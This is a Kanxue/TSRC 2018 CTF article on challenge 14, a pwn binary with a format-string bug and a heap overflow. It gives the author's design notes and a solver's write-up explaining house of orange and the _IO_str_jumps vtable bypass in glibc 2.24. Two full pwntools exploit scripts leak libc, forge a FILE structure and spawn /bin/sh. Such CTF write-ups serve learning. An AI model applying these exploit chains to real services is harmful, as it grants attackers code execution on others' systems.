查看原文
其他

看雪CTF.TSRC 2018 团队赛 第十四题『 你眼中的世界』 解题思路

小雪 看雪学院 2019-05-25


第十四题《你眼中的世界》在今天(12月29日)中午12:00 结束攻击!共计十支团队攻破此题!其中,111new1114454s 的成绩成为本题第一名!


本题结束后,防守团队排行榜如下:




最新赛况战况一览


第十四题之后,攻击方最新排名情况如下:


中午放题搬砖狗哭哭继续位列排行榜首席之位, tekkens保持第二名的成绩, n0body 和 fade-vivi强势进入Top 10!


倒数第二题结束后,已经刷新了Top 10 的候选人,那么最后一题决胜局是否会有其他惊喜呢?拭目以待!



第十四题 点评


crownless:

“你眼中的世界”是一道pwn题,而不是本次看雪CTF中多见的逆向题,体现了命题的多样性。程序功能很简单,会造成堆溢出,利用起来却比较复杂。



第十四题 出题团队简介


出题团队:ivanChen之队 





第十四题 设计思路


由看雪论坛  ivanChen 原创


# echo from your heart



#
# **[Principle]**

format string,house of orange



#
# **[Purpose]**

Master the general process of PWN topics



#
# **[Environment]**

Ubuntu16.04



#
# **[Tools]**

gdb、objdump、python、pwntools



#
# **[Process]**


程序漏洞:


1. 格式化字符串漏洞 


64位格式化字符串,开了FORTIFY_SOURCE机制,有几个特性: 


1)包含%n的格式化字符串不能位于程序内存中的可写地址。 


2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。 


2. 堆溢出(house of orange) 


gets这里可以无限写入直到\n为止,所以通过这个漏洞可以修改top_chunk,可以使用house of orange。 


利用思路: 


Libc-2.24中加入新的检验机制

 ***

 {

     Dl_info di;

     struct link_map *l;

     if (!rtld_active ()

   || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0

       && l->l_ns != LM_ID_BASE))

       return;

 }

 ***


所以不能通过之前的house of orange 思路getshell。 


bypass the _IO_vtable_check: 


利用是在_IO_list_all中的chain字段,伪造一个file结构体,然后修改chain为这个结构体的地址。之后在调用IO_flush_all_lockp函数的时候,这个结构体就会被调用。但是因为check了vtables,所以不能够任意提供一个伪造的vtable的地址,但是可以使用io_str_jumps 这个vtable。 



完整绕过思路如下:


首先通过unsortedbin attack 改写_IO_list_all,使指针指向main_arena。在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作,覆盖smallbin偏移为0x60的位置,并且此位置正好为_IO_FILE 中_chain字段 在构造Fake_file结构时,将_IO_str_jumps-0x8位置填入vtable。这样可以当调用overflow时,调用_IO_str_finish。可以通过_IO_str_finish最终执行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)。


The full script is as follows.

exp.py



 # -*- coding: utf-8 -*-

 #!/usr/bin/env python2

 from pwn import *

 context.log_level = 'debug'

 context.arch = 'amd64'

 LOCAL = True



 if LOCAL:

     

     p = process(['./echo_from_your_heart'],env={"LD_PRELOAD":"./libc-2.24.so"})

     libc = ELF("./libc-2.24.so")



 else:

     

     p = remote('192.168.1.107',1337)

     libc = ELF("./libc-2.24.so")



 def printf(size,string):

     p.recvuntil(":")

     p.sendline(str(size))

     p.recvuntil(":")

     p.sendline(string)



 def main():

     

     #leak_libc

     payload = 7*"%p"+'aaa'+"%p "

     printf(len(payload),payload)

     p.recvuntil("aaa")

     leak = p.recvuntil(" ")[:-1]

     leak_addr = int(leak,16)

     libc_base = leak_addr - (libc.symbols['__libc_start_main'] + 241) #2.23 240 2.24 241

     io_list_all = libc_base + libc.symbols['_IO_list_all']

     sys_addr = libc_base + libc.symbols['system']

     bin_addr = libc_base + next(libc.search('/bin/sh\x00'))



     log.info("libc_base: {}".format(hex(libc_base)))

     log.info("io_list_all: {}".format(hex(io_list_all)))

     log.info("sys_addr: {}".format(hex(sys_addr)))

     log.info("bin_addr: {}".format(hex(bin_addr)))

     

     #overwrite topchunk

     printf(0x80,'a'*0x80+p64(0)+p64(0xf51))

     #trigger topchunk -> unsortedbin

     printf(0x1000,'b'*0x80)



     #vtable_addr = libc_base + 0x3be4c0 #_IO_str_jumps 2.24

     vtable_addr = libc_base+libc.symbols['_IO_str_jumps']

     chunk = p64(0) + p64(0x61) + p64(0) + p64(io_list_all-0x10)

     chunk += p64(2) + p64(3) + p64(0) + p64(bin_addr)

     chunk = chunk.ljust(0xd0,'\x00')

     chunk += p64(0)

     chunk += p64(vtable_addr-8)

     chunk = chunk.ljust(0xe8,'\x00')

     payload = chunk + p64(sys_addr)



     printf(0x80,'c'*0x80+payload)

     

     p.sendline("1")

     p.interactive()



 if __name__ == '__main__':

     

     main()


原文链接:

https://bbs.pediy.com/thread-227074.htm




第十四题 你眼中的世界 解题思路



本题解析由看雪论坛 会飞的鱼油 原创。


程序功能分析


程序功能很简单,循环5次,通过sub_AF0函数获取输入的长度,然后分配相应大小的堆保存输入的word,最后输出。



使用shecksec查看有以下保护:

Arch:     amd64-64-little

   RELRO:    Partial RELRO

   Stack:    Canary found

   NX:       NX enabled

   PIE:      PIE enabled

   FORTIFY:  Enabled



漏洞分析


获取word的输入没有长度检查,可以造成堆溢出。word的输出会造成格式化字符串漏洞。



漏洞利用原理


1、通过格式化字符串漏洞泄漏出保存在栈中返回到__libc_start_main中的地址,从而可以计算出libc的基址。


2、利用堆溢出修改 top chunk 的大小,当不满足 malloc 的分配需求时,会通过sysmalloc 来向系统申请更多的空间 。对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,申请的大小不能超过默认的阈值也就是128k ,原有的top chunk就会被置于unsorted bin中 。top chunk的大小也会有合法性检测,检查如下:

assert((old_top == initial_top(av) && old_size == 0) ||

    ((unsigned long) (old_size) >= MINSIZE &&

     prev_inuse(old_top) &&

     ((unsigned long)old_end & pagemask) == 0));


所以伪造的大小必须要对齐到内存页, 大于 MINSIZE(0x10), 小于之后申请的堆块 且size 的 prev inuse 位必须为 1。


3、 利用FSOP (File Stream Oriented Programming)原理以及house of orange原理控制程序流程。 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。FILE结构的定义如下:

struct _IO_FILE {

 int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */

#define _IO_file_flags _flags



 /* The following pointers correspond to the C++ streambuf protocol. */

 /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */

 char* _IO_read_ptr;   /* Current read pointer */

 char* _IO_read_end;   /* End of get area. */

 char* _IO_read_base;  /* Start of putback+get area. */

 char* _IO_write_base; /* Start of put area. */

 char* _IO_write_ptr;  /* Current put pointer. */

 char* _IO_write_end;  /* End of put area. */

 char* _IO_buf_base;   /* Start of reserve area. */

 char* _IO_buf_end;    /* End of reserve area. */

 /* The following fields are used to support backing up and undo. */

 char *_IO_save_base; /* Pointer to start of non-current get area. */

 char *_IO_backup_base;  /* Pointer to first valid character of backup area */

 char *_IO_save_end; /* Pointer to end of non-current get area. */



 struct _IO_marker *_markers;



 struct _IO_FILE *_chain;



 int _fileno;

#if 0

 int _blksize;

#else

 int _flags2;

#endif

 _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */



#define __HAVE_COLUMN /* temporary */

 /* 1+column number of pbase(); 0 is unknown. */

 unsigned short _cur_column;

 signed char _vtable_offset;

 char _shortbuf[1];



 /*  char* _save_gptr;  char* _save_egptr; */



 _IO_lock_t *_lock;

#ifdef _IO_USE_OLD_IO_FILE

};


进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用libc中的全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。需要注意的是 stdin、stdout、stderr 这三个文件流位于 libc的数据段中。但是事实上_IO_FILE 结构位于另一种结构_IO_FILE_plus中, _IO_FILE_plus的定义如下:

struct _IO_FILE_plus

{

   _IO_FILE    file;

   IO_jump_t   *vtable;

}


其中包含了一个重要的指针 vtable,它指向了一系列函数指针, 标准 IO 函数中会调用这些函数指针 。

gdb-peda$ p _IO_file_jumps

$1 = {

 __dummy = 0x0,

 __dummy2 = 0x0,

 __finish = 0x7ffff7a8ed20 <_IO_new_file_finish>,

 __overflow = 0x7ffff7a8f700 <_IO_new_file_overflow>,

 __underflow = 0x7ffff7a8f4b0 <_IO_new_file_underflow>,

 __uflow = 0x7ffff7a90560 <__GI__IO_default_uflow>,

 __pbackfail = 0x7ffff7a91700 <__GI__IO_default_pbackfail>,

 __xsputn = 0x7ffff7a8e5a0 <_IO_new_file_xsputn>,

 __xsgetn = 0x7ffff7a8e2b0 <__GI__IO_file_xsgetn>,

 __seekoff = 0x7ffff7a8d8e0 <_IO_new_file_seekoff>,

 __seekpos = 0x7ffff7a90ad0 <_IO_default_seekpos>,

 __setbuf = 0x7ffff7a8d850 <_IO_new_file_setbuf>,

 __sync = 0x7ffff7a8d780 <_IO_new_file_sync>,

 __doallocate = 0x7ffff7a829b0 <__GI__IO_file_doallocate>,

 __read = 0x7ffff7a8e580 <__GI__IO_file_read>,

 __write = 0x7ffff7a8df70 <_IO_new_file_write>,

 __seek = 0x7ffff7a8dd70 <__GI__IO_file_seek>,

 __close = 0x7ffff7a8d840 <__GI__IO_file_close>,

 __stat = 0x7ffff7a8df60 <__GI__IO_file_stat>,

 __showmanyc = 0x7ffff7a91860 <_IO_default_showmanyc>,

 __imbue = 0x7ffff7a91870 <_IO_default_imbue>

}


因此直接改写 vtable 中的函数指针或者是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针就可以劫持程序流程 。该程序可以覆盖unsorted bin空闲块,修改bk指向_IO_list_all-0x10,同时布置fake file struct,然后分配堆块,触发unsorted bin attack 修改_IO_list_all指向main_arena+88,因为_chain域在_IO_list_all + 0x68的位置 ,也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置,所以需要修改其大小为0x60 ,之后修改过的unsorted bin 会被放入 small bin [4]中,这样就可以伪造一个FILE结构,继续遍历unsorted bin会触发异常,调用malloc_printerr。调用栈如下:

malloc_printerr

  _libc_message(error msg)

      abort

          _IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)


_IO_flush_all_lockp函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函数便就可以拿到shell。 libc2.24版本的_IO_flush_all_lockp定义如下:

int

_IO_flush_all_lockp (int do_lock)

{

 int result = 0;

 struct _IO_FILE *fp;

 int last_stamp;



#ifdef _IO_MTSAFE_IO

 __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);

 if (do_lock)

   _IO_lock_lock (list_all_lock);

#endif



 last_stamp = _IO_list_all_stamp;

 fp = (_IO_FILE *) _IO_list_all;

 while (fp != NULL)

   {

     run_fp = fp;

     if (do_lock)

   _IO_flockfile (fp);



     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//合法性检查

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T

      || (_IO_vtable_offset (fp) == 0

          && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

                   > fp->_wide_data->_IO_write_base))

#endif

      )

     && _IO_OVERFLOW (fp, EOF) == EOF)

   result = EOF;



     if (do_lock)

   _IO_funlockfile (fp);

     run_fp = NULL;



     if (last_stamp != _IO_list_all_stamp)

   {

     /* Something was added to the list.  Start all over again.  */

     fp = (_IO_FILE *) _IO_list_all;

     last_stamp = _IO_list_all_stamp;

   }

     else

   fp = fp->_chain;

   }



#ifdef _IO_MTSAFE_IO

 if (do_lock)

   _IO_lock_unlock (list_all_lock);

 __libc_cleanup_region_end (0);

#endif



 return result;

}


所以伪造的结构体要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。在 libc2.23 版本中可以直接修改伪造的vtable, 使得_IO_OVERFLOW=system_addr 。kkhaike大佬说该程序无法泄漏出堆顶地址 ,所以采用绕过libc2.24检查机制的方法来获取shell。libc2.24版本多了一个vtable合理性的检查机制,检查如下:

IO_validate_vtable (const struct _IO_jump_t *vtable)

{

 /* Fast path: The vtable pointer is within the __libc_IO_vtables

    section.  */


 uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;

 const char *ptr = (const char *) vtable;

 uintptr_t offset = ptr - __start___libc_IO_vtables;

 if (__glibc_unlikely (offset >= section_length))

   /* The vtable pointer is not in the expected section.  Use the

      slow path, which will terminate the process if necessary.  */


   _IO_vtable_check ();

 return vtable;

}


可以使用__IO_str_jumps和__IO_wstr_jumps进行绕过, 使用__IO_str_jumps 更为简单,如何定位 __IO_str_jumps 参考这篇文章。 __IO_str_jumps 定义如下:

const struct _IO_jump_t _IO_str_jumps libio_vtable =

{

 JUMP_INIT_DUMMY,

 JUMP_INIT(finish, _IO_str_finish),

 JUMP_INIT(overflow, _IO_str_overflow),

 JUMP_INIT(underflow, _IO_str_underflow),

 JUMP_INIT(uflow, _IO_default_uflow),

 JUMP_INIT(pbackfail, _IO_str_pbackfail),

 JUMP_INIT(xsputn, _IO_default_xsputn),

 JUMP_INIT(xsgetn, _IO_default_xsgetn),

 JUMP_INIT(seekoff, _IO_str_seekoff),

 JUMP_INIT(seekpos, _IO_default_seekpos),

 JUMP_INIT(setbuf, _IO_default_setbuf),

 JUMP_INIT(sync, _IO_default_sync),

 JUMP_INIT(doallocate, _IO_default_doallocate),

 JUMP_INIT(read, _IO_default_read),

 JUMP_INIT(write, _IO_default_write),

 JUMP_INIT(seek, _IO_default_seek),

 JUMP_INIT(close, _IO_default_close),

 JUMP_INIT(stat, _IO_default_stat),

 JUMP_INIT(showmanyc, _IO_default_showmanyc),

 JUMP_INIT(imbue, _IO_default_imbue)

};


可以利用其中的 _IO_str_finsh和_IO_str_overflow这两个函数的strops.c定义如下:

void

_IO_str_finish (FILE *fp, int dummy)

{

 if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))

   (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]

 fp->_IO_buf_base = NULL;

 _IO_default_finish (fp, 0);

}

int

_IO_str_overflow (_IO_FILE *fp, int c)

{

 ...

 pos = fp->_IO_write_ptr - fp->_IO_write_base;

 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))

   {

     if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */

   return EOF;

     else

   {

     char *new_buf;

     char *old_buf = fp->_IO_buf_base;

     size_t old_blen = _IO_blen (fp);

     _IO_size_t new_size = 2 * old_blen + 100;

     if (new_size < old_blen)

       return EOF;

     new_buf

       = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//调用 ((char*)fp + 0xE0))(2 * v6 + 100),v6=fp->_IO_buf_end - fp->_IO_buf_base

     ...

   }

   }

...

}


因为调用(char*)fp+0xE8和(char*)fp + 0xE0,所以可以把这部分设置成system的地址。



EXP


exp是参考的这篇文章

https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md

from pwn import *



#context.log_level = 'debug'



io = remote("211.159.175.39", 8686)

libc = ELF('libc.2.23.so')



def prf(size, s):

   io.sendlineafter(" word: ", str(size))

   io.sendlineafter("word: ", s)





def overwrite_top():

   payload  = "A" * 16

   payload += p64(0) + p64(0xfe1)              # top chunk header

   prf(0x10, payload)





def leak_libc():

   global libc_base

   prf(0x1000, '%p%p%p%p%p%p%p%pA')

   libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241

   libc_base = libc_start_main - libc.symbols['__libc_start_main']

   log.info("libc_base address: 0x%x" % libc_base)



def house_of_orange():

   io_list_all = libc_base + libc.symbols['_IO_list_all']

   system_addr = libc_base + libc.symbols['system']

   bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()

   vtable_addr = libc_base + 0x3C37A0 #0x3be4c0          # _IO_str_jumps



   log.info("_IO_list_all address: 0x%x" % io_list_all)

   log.info("system address: 0x%x" % system_addr)

   log.info("/bin/sh address: 0x%x" % bin_sh_addr)

   log.info("vtable address: 0x%x" % vtable_addr)



   stream  = p64(0) + p64(0x61)                # fake header   # fp

   stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer

   stream += p64(0)                            # fp->_IO_write_base

   stream += p64(1)                   # fp->_IO_write_ptr

   #stream += p64(0xffffffff)                   # fp->_IO_write_ptr

   stream += p64(0)# *2                         # fp->_IO_write_end, fp->_IO_buf_base

   stream += p64(bin_sh_addr)

   stream += p64(0)#(bin_sh_addr - 100) / 2)      # fp->_IO_buf_end

   stream  = stream.ljust(0xc0, '\x00')

   stream += p64(0)                            # fp->_mode



   payload  = "A" * 0x10

   payload += stream

   payload += p64(0) * 2

   payload += p64(vtable_addr - 8)                 # _IO_FILE_plus->vtable

   payload += p64(0)

   payload += p64(system_addr)

   prf(0x10, payload)



def house_of_orange_():

   io_list_all = libc_base + libc.symbols['_IO_list_all']

   system_addr = libc_base + libc.symbols['system']

   bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()

   vtable_addr = libc_base + 0x3C37A0          # _IO_str_jumps



   log.info("_IO_list_all address: 0x%x" % io_list_all)

   log.info("system address: 0x%x" % system_addr)

   log.info("/bin/sh address: 0x%x" % bin_sh_addr)

   log.info("vtable address: 0x%x" % vtable_addr)



   stream  = p64(0) + p64(0x61)                # fake header   # fp

   stream += p64(0) + p64(io_list_all - 0x10)  # fake bk pointer

   stream += p64(0)                            # fp->_IO_write_base

   stream += p64(0xffffffff)                   # fp->_IO_write_ptr

   stream += p64(0) *2                         # fp->_IO_write_end, fp->_IO_buf_base

   stream += p64((bin_sh_addr - 100) / 2)      # fp->_IO_buf_end

   stream  = stream.ljust(0xc0, '\x00')

   stream += p64(0)                            # fp->_mode



   payload  = "A" * 0x10

   payload += stream

   payload += p64(0) * 2

   payload += p64(vtable_addr)                 # _IO_FILE_plus->vtable

   payload += p64(system_addr)

   prf(0x10, payload)



def pwn():

   io.sendlineafter(" word: ", "0")

   #io.sendline("0")        # abort routine

   io.interactive()



if __name__ == '__main__':

   overwrite_top()

   leak_libc()

   house_of_orange()

   pwn()


house_of_orange函数利用的是_IO_str_finsh, house_of_orange _函数利用的是_IO_str_overflow 。但是使用_IO_str_overflow并不成功,不知道是不是因为bin_sh_addr的地址是奇数的原因 。最后使用house_of_orange获得shell。




参考链接


  • https://xz.aliyun.com/t/2411

  • https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fake-vtable-exploit/


  • https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/


  • https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/


  • https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop/


  • https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md


  • https://www.jianshu.com/p/1e45b785efc1

原文链接:

https://bbs.pediy.com/thread-248698.htm









第十五题【密码风云】正在火热进行中


第15题/共15题


《密码风云》将于 12月31 日中午 12:00 结束


赶紧参与进来吧~!



热门图书推荐:

立即购买!


合作伙伴 



腾讯安全应急响应中心 

TSRC,腾讯安全的先头兵,肩负腾讯公司安全漏洞、黑客入侵的发现和处理工作。这是个没有硝烟的战场,我们与两万多名安全专家并肩而行,捍卫全球亿万用户的信息、财产安全。一直以来,我们怀揣感恩之心,努力构建开放的TSRC交流平台,回馈安全社区。未来,我们将继续携手安全行业精英,探索互联网安全新方向,建设互联网生态安全,共铸“互联网+”新时代。







- End -


公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com


    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存